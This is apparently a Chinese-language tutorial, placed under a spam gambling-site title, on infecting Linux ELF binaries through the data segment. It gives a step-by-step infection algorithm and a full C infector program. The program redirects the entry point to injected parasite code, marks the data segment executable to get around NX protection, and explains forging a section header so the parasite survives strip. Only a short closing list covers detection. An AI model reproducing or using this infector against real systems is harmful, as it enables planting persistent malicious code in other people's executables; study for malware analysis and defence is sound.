微彩娛樂linux病毒技术之data段感染_HUC惠仲娱乐

微彩娛樂

[TOC]

学习这项技术前,我们带着以下几个问题来学习

什么是data段感染?

这种感染方式和text段感染的理念是一样的,就是通过将寄生代码注入到段中,作为段的一部分,并且将入口点修改为寄生代码的位置,在寄生代码执行完成后再返回原始入口位置执行程序的代码。

而且在未进行 NX-bit 设置的系统上,如 32 位的 Linux 系统,可以在不改变 data段权限的情况下执行 data 段中的代码(即使段权限为可读+可写)

怎么实现?

我们是对data段进行感染,那么我们需要一些关于data段的前置知识:

1.data段的结尾是.bss节,这是一个在磁盘上不占空间的节,存放的使一些未初始化变量,只有到了内存中才会被分配空间,存放初始化后的数据。这里我们将寄生代码注入到data段的尾部,.bss节的前面

2.data段一般位于最后一个段,所以没有别的段需要更改偏移

感染算法

我们的修改从ELF文件头部到尾部

  1. 将 ehdr->e_entry 入口点指向寄生代码所在的位置,也就是data段的尾部,即文件基地址+data段的文件偏移

  2. 将 ehdr->e_shoff 增加寄生代码的长度,(这是因为节头表在最后的位置,会因为寄生代码的注入而被向后移动)。

  3. 定位到data段,修改段的大小,增加寄生代码的长度

    • 将 phdr->p_filesz 增加寄生代码的长度。
    • 将 phdr->p_memsz 增加寄生代码的长度
  4. 修改.bss节以及后面节的偏移地址,原因和节头表的原因一样,都是因为这些节位于寄生代码之后

  5. (可选)修改data段权限,适用于开启了NX-bit设置对非代码段进行了执行限制的系统

    phdr[DATA].p_flags |= PF_X;

  6. (可选)为寄生代码添加一个自定义节头,防止strip命令删除没有节头声明的寄生代码

  7. 注入寄生代码

代码实现

根据上面的感染算法,写出下面的完整代码。

需要注意的是,linux下的程序默认编译时是开启了NX,所以我们需要加上第五步可选步骤的代码:p_hdr[i].p_flags |= PF_X;来让我们的寄生代码得以执行,如果不给数据段添加执行权限,会报出段错误的异常

#include <stdio.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <elf.h>  #define TMP "test2"  int return_entry_start = 1; char parasite[] = "\x68\x00\x00\x00\x00\xc3"; unsigned long entry_point; struct stat st; long bss_addr;  int main(int argc, char **argv) {      char *host;     int parasite_size;     int fd, i;     Elf64_Ehdr *e_hdr;     Elf64_Shdr *s_hdr;     Elf64_Phdr *p_hdr;     long o_shoff;     unsigned char * mem;      if(argc < 2)     {         printf("Usage: %s <elf-host>\n",argv[0]);     }      host = argv[1];      //检查宿主文件是否正常     if((fd=open(host, O_RDONLY)) == -1)     {         perror("open");         goto _error;     }     if((fstat(fd, &st)) < 0)     {         perror("fstat");         goto _error;     }      //将宿主文件映射进内存中     mem = mmap(NULL, st.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);     printf("[+] Address of %s maps to memory is 0x%X\n", argv[1], mem);     printf("[+] Magic field is %c%c%c\n", mem[1],mem[2],mem[3]);     if(mem == MAP_FAILED)     {         perror("mmap");         goto _error;     }      e_hdr = (Elf64_Ehdr *)mem;     //ELF文件检测     if(e_hdr->e_ident[0] != 0x7f && strcmp(&e_hdr->e_ident[1], "ELF"))     {         printf("%s it not an elf file\n", argv[1]);         goto _error;     }      /**      * 2. 将 ehdr->e_shoff 增加寄生代码的长度,(这是因为节头表在最后的位置,会因为寄生代码的注入而被向后移动)。      */     parasite_size = sizeof(parasite);     o_shoff = e_hdr->e_shoff;     e_hdr->e_shoff += parasite_size;      /*      * 第1步和第3步:      *       * 修改文件头入口点      * 修改data段的文件长度和内存长度      *      */     p_hdr = (Elf64_Phdr *)(mem + e_hdr->e_phoff);     for(i=0; i<e_hdr->e_phnum; i++)     {         if(p_hdr[i].p_type == PT_LOAD)         {             if(p_hdr[i].p_offset != 0)             {                 //保存原始.bss开始的位置                 bss_addr = p_hdr[i].p_offset + p_hdr[i].p_filesz;                 printf("[+] Find data segment\n");                 entry_point = e_hdr->e_entry;                 e_hdr->e_entry = p_hdr[i].p_vaddr + p_hdr[i].p_filesz;                 printf("[+] Data segment file size is 0x%X\n", p_hdr[i].p_filesz);                 printf("[+] New entry is 0x%X\n", e_hdr->e_entry);                 p_hdr[i].p_filesz += parasite_size;                 p_hdr[i].p_memsz += parasite_size;                 //对抗开启NX(可选项)                 p_hdr[i].p_flags |= PF_X;             }         }      }      /*      * 4.调整.bss节      *       */     printf("[+] Prepare change after .bss and .bss's section\n");     printf("[+] section header table offset is 0x%X\n", o_shoff);     s_hdr = (Elf64_Shdr *)(mem + o_shoff);     for(i=0; i<e_hdr->e_shnum; i++)     {         if(s_hdr[i].sh_offset >= bss_addr)         {             //printf("[+] Offset of section need to edit is 0x%X\n", s_hdr[i].sh_offset);             s_hdr[i].sh_offset += parasite_size;         }     }      /*      * 7. 插入寄生代码      *      */     mirror_binary_with_parasite(parasite_size, mem, parasite);      printf("Data segment infect completed!\n");  _error:     munmap(mem, st.st_size);     close(fd);     return 0;  }  void mirror_binary_with_parasite(unsigned int psize, unsigned char *mem, char *parasite) {     int ofd;     int c;      printf("Mirroring host binary with parasite %d bytes\n",psize);     if((ofd = open(TMP, O_CREAT | O_WRONLY | O_TRUNC, st.st_mode)) == -1)     {         perror("tmp binary: open");         goto _error;     }     //写入到data段结尾的数据     if ((c = write(ofd, mem, bss_addr)) != bss_addr)     {         printf("failed writing ehdr\n");         goto _error;     }      printf("Patching parasite to jmp to %lx\n", entry_point);     //写入寄生代码     *(unsigned int *)&parasite[return_entry_start] = entry_point;     if ((c = write(ofd, parasite, psize)) != psize)     {         perror("writing parasite failed");         goto _error;     }      mem += bss_addr;     if ((c = write(ofd, mem, st.st_size-bss_addr)) != st.st_size-bss_addr)     {         printf("Failed writing binary, wrote %d bytes\n", c);         goto _error;     }  _error:     close(ofd); } 

但是如果遇到strip,这个命令会将不存在任何节中的寄生代码给删除掉,这就要用到我们第6步的解决方法,伪造一个节去包含我们的寄生代码,这里我就不用代码实现,手动通过010edit在节头表最后添加一个节,这个节是我按照text节写的,只修改了个偏移值和大小就将寄生代码包含在了这个节中,最后在讲文件头的节头数加1就完成了伪造节的过程

从下面这幅图就可以看出即使再用strip也不能删除寄生代码。

对抗

  1. 入口点的位置不在代码段

  2. 检测运行时程序代码段的权限

小结

本次学习主要掌握:

  1. data段感染的思路,通过将寄生代码注入到data段,然后将入口点位置指向寄生代码处来执行寄生代码,最后在寄生代码里又跳转会原始入口位置来防止原始程序的崩溃
  2. 如果存在NX保护,我们通过将data段权限改成可执行权限即可,但这样的话病毒特征就会很明显
  3. 如果程序会有被strip的风险,我们可以通过伪造节头包含寄生代码即可绕过

参考

【1】 Linux二进制分析